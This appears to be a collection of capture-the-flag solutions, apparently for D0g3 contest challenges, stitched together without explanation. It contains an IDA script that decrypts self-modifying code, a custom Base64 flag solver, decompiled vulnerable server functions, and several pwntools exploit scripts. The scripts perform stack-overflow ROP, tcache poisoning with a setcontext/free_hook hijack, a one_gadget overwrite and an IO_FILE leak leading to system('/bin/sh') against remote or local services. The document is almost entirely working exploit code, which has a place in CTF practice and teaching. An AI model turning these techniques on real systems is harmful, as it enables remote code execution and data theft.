//IDA中 IDC对SMC自解码代码解密 脚本
auto address_s = 0x41E000;
auto address_e = 0x41F200;
auto i = 0;

for (; address_s+i < address_e; i++){
    if (i % 4 == 0){
        PatchByte(address_s+i, Byte(address_s+i) ^ 'D');
    }else if (i % 4 == 1){
        PatchByte(address_s+i, Byte(address_s+i) ^ '0');
    }else if (i % 4 == 2){
        PatchByte(address_s+i, Byte(address_s+i) ^ 'g');
    }else if (i % 4 == 3){
        PatchByte(address_s+i, Byte(address_s+i) ^ '3');
    }
}
Message("\ndone\n");

//table数组就是被加密隐藏的base表，得事先对一串数据解密后得到，我这里直接解密后贴过来了。
#include<stdio.h>
char table[150] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
        'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
char RTS[] =  "D0g3{cyzcc_have_ten_girlfriends}";
char rra[] = { 0x23,0x7a,0x3d,0x60,0x34,0x7,0x11,0x36,0x2c,0x5,
                0xc,0x20,0xb,0x22,0x3f,0x6f,0x16,0x0,0x37,0xd,
                0x36,0xf,0x1e,0x20,0x37,0x14,0x2,0x9,0x2,0xf,
                0x1b,0x39, };
char str[100] = {0};

int main()
{
    unsigned char a = 0 ;
    unsigned char b = 0 ;
    unsigned char c = 0 ;
    unsigned char d = 0 ;
    unsigned int k = 0 ;
    unsigned int i = 0 ;

    for( i=0 ; RTS[i] ; i++)
        RTS[i] ^= rra[i];

    char* p = table;

    for(int j = 0; RTS[j] ; j += 4 )
    {
        //这里开始循环换表
        *(p+64) = *p;
        p++;

        for(i =0 ; i<64 ; i++)
            if( RTS[j] == *(p+i) )
            {
                a = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+1] == *(p+i) )
            {
                b = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+2] == *(p+i) )
            {
                c = i;
                break;
            }
        for(i =0 ; i<64 ; i++)
            if( RTS[j+3] == *(p+i) )
            {
                d = i;
                break;
            }
        k = (j/4)*3;
        str[k+0] = a<<2&0xC0 | c<<2&0x30 | d>>2&0xC | b&0x3;
        str[k+1] = b<<2&0xC0 | a<<2&0x30 | d>>0&0xC | c&0x3;
        str[k+2] = c<<2&0xC0 | b<<2&0x30 | d<<2&0xC | a&0x3;
    }
    printf("%s\n",str);
    return 0;
}

void __fastcall lgx::work::work::handle_post(lgx::work::work *this)
{
  __m128i *v1; // rax
  __m128i v2; // xmm0
  void *v3; // rdx
  bool v4; // zf
  void *v5; // [rsp+0h] [rbp-568h]
  __int64 v6; // [rsp+8h] [rbp-560h]
  __int64 v7; // [rsp+10h] [rbp-558h]
  void *v8; // [rsp+20h] [rbp-548h]
  void *v9; // [rsp+28h] [rbp-540h]
  void *v10; // [rsp+30h] [rbp-538h]
  char dest; // [rsp+40h] [rbp-528h]

  memcpy(&dest, **((const void ***)this + 2), *(_QWORD *)(*((_QWORD *)this + 2) + 8LL)); // vul
  v8 = &v10;
  v5 = (void *)34;
  v1 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(&v8, &v5, 0LL);
  v8 = v1;
  v10 = v5;
  *v1 = _mm_load_si128((const __m128i *)&xmmword_4148F0);
  v2 = _mm_load_si128((const __m128i *)&xmmword_414900);
  v1[2].m128i_i16[0] = 32034;
  v3 = v8;
  v1[1] = v2;
  v9 = v5;
  *((_BYTE *)v5 + (_QWORD)v3) = 0;
  v4 = *((_QWORD *)this + 9) == 0LL;
  v5 = &v7;
  LODWORD(v7) = 1836345390;
  WORD2(v7) = 108;
  v6 = 5LL;
  if ( !v4 )
  {
    (*((void (__fastcall **)(char *, void **, void **))this + 10))((char *)this + 56, &v5, &v8);
    if ( v5 != &v7 )
      operator delete(v5);
  }
  if ( v8 != &v10 )
    operator delete(v8);
}

#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

elf_path  = 'pwn'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20100

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def post(d):
    p =  b'POST / HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
    p += b'\r\n'
    p += d
    s(p)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    pop_rsp = 0x403811
    gadget_init = 0x413A1A
    gadget_call = 0x413A00
    buf = elf.bss() + 0x400
    flag_addr = buf
    p = b'A' * 0x528
    rop = flat([
    gadget_init,
    0, 1,
    0, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    flag_addr, 0, 0, elf.got['open'],
    gadget_call,
    0, 0, 1,
    3, flag_addr, 0x100, elf.got['read'],
    gadget_call,
    0, 0, 1,
    1, flag_addr, 0x100, elf.got['write'],
    gadget_call
    ])
    p += rop
    post(p)
    s('./flag\x00')

def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

if ( *(_DWORD *)(v12 + 328) )
  {
    v13 = *(void **)(v12 + 320);
    if ( v13 )
      operator delete[](v13);                   // uaf
    v25 = &s1;
    *(_DWORD *)(v12 + 328) = 0;
 ...

*(_DWORD *)(v22 + 328) = v44;    //储存该index下的大小
if ( (unsigned int)v44 > 0x400 ) //如果大小大于0x400的话相当于直接跳转到函数末尾，完成该函数的调用。
  {
    v54 = &s1;
    v47 = 49LL;
    v37 = (__m128i *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::_M_create(
                       &v54,
                       &v47,
                       0LL);
    v27 = &v51;
    v54 = v37;
    s1 = v47;
    *v37 = _mm_load_si128((const __m128i *)&xmmword_17B00);
    v38 = _mm_load_si128((const __m128i *)&xmmword_17B40);
    v37[3].m128i_i8[0] = 125;
    v37[1] = v38;
    v37[2] = _mm_load_si128((const __m128i *)&xmmword_17B50);
    v26 = (char *)v54;
    v55 = v47;
    *((_BYTE *)v54 + v47) = 0;
    v25 = *((_QWORD *)v3 + 9) == 0LL;
    v51 = &v53;
    LODWORD(v53) = 1869834798;
    WORD2(v53) = 110;
    v52 = 5LL;
    if ( !v25 )
    {
      (*((void (__fastcall **)(signed __int64, void **, void **))v3 + 10))((signed __int64)v3 + 56, &v51, &v54);
      goto LABEL_70;
    }
    goto LABEL_50;                              // 跳转到函数末尾
  }

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Arch linux

from pwn import *
import os

r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'

libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'
elf_path  = './lgx-data-platform'
# remote server ip and port
server_ip = "axb.d0g3.cn"
server_port = 20101

# if local debug
LOCAL = 0
LIBC  = 1

#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def get(url):
    p =  'GET ' + url + ' HTTP/1.1\r\n'
    p += '\r\n'
    s(p)

def post(url, data):
    p =  b'POST ' + url.encode() + b' HTTP/1.1\r\n'
    p += b'Content-Length: ' + str(len(data)).encode() + b'\r\n'
    p += b'\r\n'
    p += data
    s(p)

def add(i, s, d):
    post('/?request=add_data&index=' + str(i) + '&size=' + str(s), d)
    ru('HTTP/1.1 200 OK')

def rm(i):
    get('/?request=delete_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

def get_data(i):
    get('/?request=get_data&index=' + str(i))
    ru('HTTP/1.1 200 OK')

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')

    add(0, 0x400, b'') # 0
    add(0x31, 0x37c, b'') # for bypass unsorted bin malloc 
    add(0x32, 0x37c, b'') # for bypass unsorted bin malloc
    add(0x33, 0x348, b'') # for bypass unsorted bin malloc
    add(0x34, 0x331, b'') # for bypass unsorted bin malloc
    add(0x35, 0x331, b'') # for bypass unsorted bin malloc

    rm(0x31)
    rm(0x32)
    rm(0x33)
    rm(0x34)
    rm(0x35)

    for i in range (16):
        add(i, 0x100, b'') # 1

    for i in range (7):
        rm(i + 1)
    rm(8)

    add(8, 0x401, b'')
    add(2, 0x401, b'')

    # leak libc
    get_data(8)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    main_arena_offset = 0x1ebb80
    libc_base = leak - main_arena_offset - 96
    main_arena = libc_base + main_arena_offset
    free_hook = libc_base + libc.sym['__free_hook']
    setcontext = libc_base + libc.sym['setcontext'] + 61
    gadget = libc_base + 0x1547A0 # local
    gadget = libc_base + 0x154930 # remote
    ret_addr = libc_base + 0x25679

    libc_open = libc_base + libc.sym['open']
    libc_read = libc_base + libc.sym['read']
    libc_write = libc_base + libc.sym['write']
    pop_rdi = libc_base + 0x26b72
    pop_rsi = libc_base + 0x27529
    pop_rdx_r12 = libc_base + 0x11c1e1 # local
    pop_rdx_r12 = libc_base + 0x11c371 # remote

    li('libc_base : ' + hex(libc_base))

    # leak heap
    get_data(2)
    ru('"data":"')
    leak = u64(io.recv()[-8:-2].ljust(8, b'\x00'))
    heap = leak - (0)
    li('heap chunk 2 : ' + hex(heap))

    rm(9) # for merge
    rm(10) # for merge

    for i in range (6):
        add(i + 0x10, 0x100, b'') # 1

    rm(8) # free our large chunk

    add(9, 0x401, b'')
    rm(9) # add out fake chunk to tcache list

    #rop = flat();
    set_context = p64(0) * 4 # rdx -> addr
    set_context += p64(setcontext) # rdx + 0x20
    set_context += p64(0x11111)
    set_context = set_context.ljust(0xa0, b'\x00')
    set_context += p64(heap + 0x880 + 0x110) # set rsp, point to rop
    set_context += p64(ret_addr) # set rcx, avoid push rcx impact on rsp
    set_context += b'./flag\x00'

    flag_addr = heap + 0x888 + 0xa0 + 0x10
    rop = flat([
        pop_rdi, flag_addr,     
        pop_rsi, 0,
        libc_open,
        pop_rdi, 3,
        pop_rsi, flag_addr,
        pop_rdx_r12, 0x100, 0,
        libc_read,
        pop_rdi, 1,
        pop_rsi, flag_addr,
        #pop_rdx_r12, 0x100, 0,
        libc_write,
    # pause
        pop_rdi, 0,
        libc_read
    ])

    p = p64(main_arena + 96) + p64(main_arena + 96)
    p = p.ljust(0x100, b'\x00')
    p += p64(0) + p64(0x111) # fake chunk 9
    p += (p64(free_hook) + set_context).ljust(0x100, b'\x00')

    p += p64(0) + p64(0x111) # fake chunk 10
    p += rop.ljust(0x100, b'\x00')
    p += b'A' * 0x10 # avoid string obj malloc to our fake chunk

    add(0x20, 0x320, p) # malloc to our chunk, and make a fake chunk
    add(0x21, 0x100, b'')

    p = p64(gadget)
    p += p64(heap + 0x888) # set rdx pointer to heap set_context addr + 0x20

    #db()
    # trigger
    post('/?request=add_data&index=' + str(0x22) + '&size=' + str(0x100), p)

def finish():
    ia()
    c()

#--------------------------main-----------------------------
if __name__ == '__main__':

    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)

    exploit()
    finish()

#-*- coding:utf-8 –*-
from pwn import *
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "./sfs"
libcFileName = ""
ip = "0.0.0.0"
port = 10003

Debug = 0
if Debug:
    io = process(elfFileName)
    gdb.attach(io)
else:
    io = remote(ip,port)

#
io.recvuntil('passwd.\n')
payload = '{"name":"xxxxx","passwd":"xxxxx"}'
io.sendline(payload)
io.recvuntil('logger:xxxxx login error!\nlogger:')
lib_main = u64(io.recvuntil(' login', drop=True).ljust(8, '\x00'))
print 'lib_main_arena is ',hex(lib_main)
libc_base = lib_main - 88 - 0x3c4b20
print 'libc_base is ',hex(libc_base)
#
target = libc_base + 0x8f9f48#0x3f1000+0xf08#0x5f0f48
one_gadget = libc_base + 0xf02a4#0xf1147#0x4526a#0x45216#0xf02a4

print 'target is ',hex(target)
print 'one_gadget is ',hex(one_gadget)

sleep(0.1)
for i in range(3):
    io.send(p64(target + i))
    sleep(0.1)
    io.send(p64(one_gadget)[i])
    sleep(0.1)

#io.recv()
io.sendline("exec /bin/sh")

io.interactive()

from pwn import *
context.log_level='debug'
context.terminal=['deepin-terminal', '-x', 'sh' ,'-c']
elf=ELF("./IO_FILE")
#p=process("./IO_FILE")
p=remote("127.0.0.1", 20002)
libc=ELF("./libc.so.6")
def add(size,des):
    p.recvuntil(">")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("ion:")
    p.send(des)
def dele(idx):
    p.recvuntil(">")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(idx))
add(0x60,'aaa')
dele(0)
dele(0)
add(0x60,p64(0x602080))
add(0x60,'\x60')
add(0x60,'\x60')
payload=p64(0xfdab1800)+p64(0)*3+'\x00'
add(0x60,payload)
leak_vtable=u64(p.recvuntil("exit")[0x58:0x60])

libc_base=leak_vtable-libc.symbols["_IO_file_jumps"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]


add(0x70,"aaa")
dele(5)
dele(5)
add(0x70,p64(free_hook))
add(0x70,"/bin/sh")
add(0x70,p64(system))
dele(7)
#gdb.attach(p)
p.interactive()